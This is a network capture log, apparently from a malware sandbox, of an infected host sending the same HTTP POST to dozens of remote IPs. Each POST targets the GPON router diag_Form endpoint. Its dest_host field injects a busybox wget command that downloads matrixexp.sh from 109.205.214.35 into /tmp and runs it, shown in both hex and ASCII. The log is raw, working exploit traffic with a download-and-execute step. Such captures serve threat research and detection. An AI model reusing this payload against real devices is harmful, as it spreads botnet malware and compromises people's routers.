Mar 21, 2024 05:22:04.181428909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
388	192.168.2.14	38346	94.87.103.71	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181454897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.14	56216	42.79.191.119	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181493044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
390	192.168.2.14	44656	109.208.186.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181520939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
391	192.168.2.14	58398	79.14.57.181	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181569099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
392	192.168.2.14	50956	79.123.214.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181571960 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
393	192.168.2.14	33490	79.115.245.88	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181596994 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
394	192.168.2.14	53434	118.206.92.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181658983 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
395	192.168.2.14	58584	118.120.116.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181687117 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
396	192.168.2.14	43990	212.137.2.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181705952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
397	192.168.2.14	49760	118.67.2.243	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181780100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
398	192.168.2.14	47500	178.133.52.231	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181807041 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
399	192.168.2.14	55546	2.38.57.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181842089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
400	192.168.2.14	43492	42.74.136.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181862116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
401	192.168.2.14	52272	212.44.231.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181895018 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
402	192.168.2.14	58046	42.177.177.30	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181925058 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
403	192.168.2.14	56838	5.203.187.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.181981087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
404	192.168.2.14	39438	79.12.42.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182013035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.14	50746	118.174.243.124	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182043076 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.14	54622	178.219.14.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182117939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.14	47938	109.85.46.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182131052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.14	57416	42.234.8.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182214975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.14	40832	5.167.21.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182214975 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.14	49722	178.182.242.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:04.182250977 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.14	35548	109.156.135.48	443

Timestamp	Bytes transferred	Direction	Data
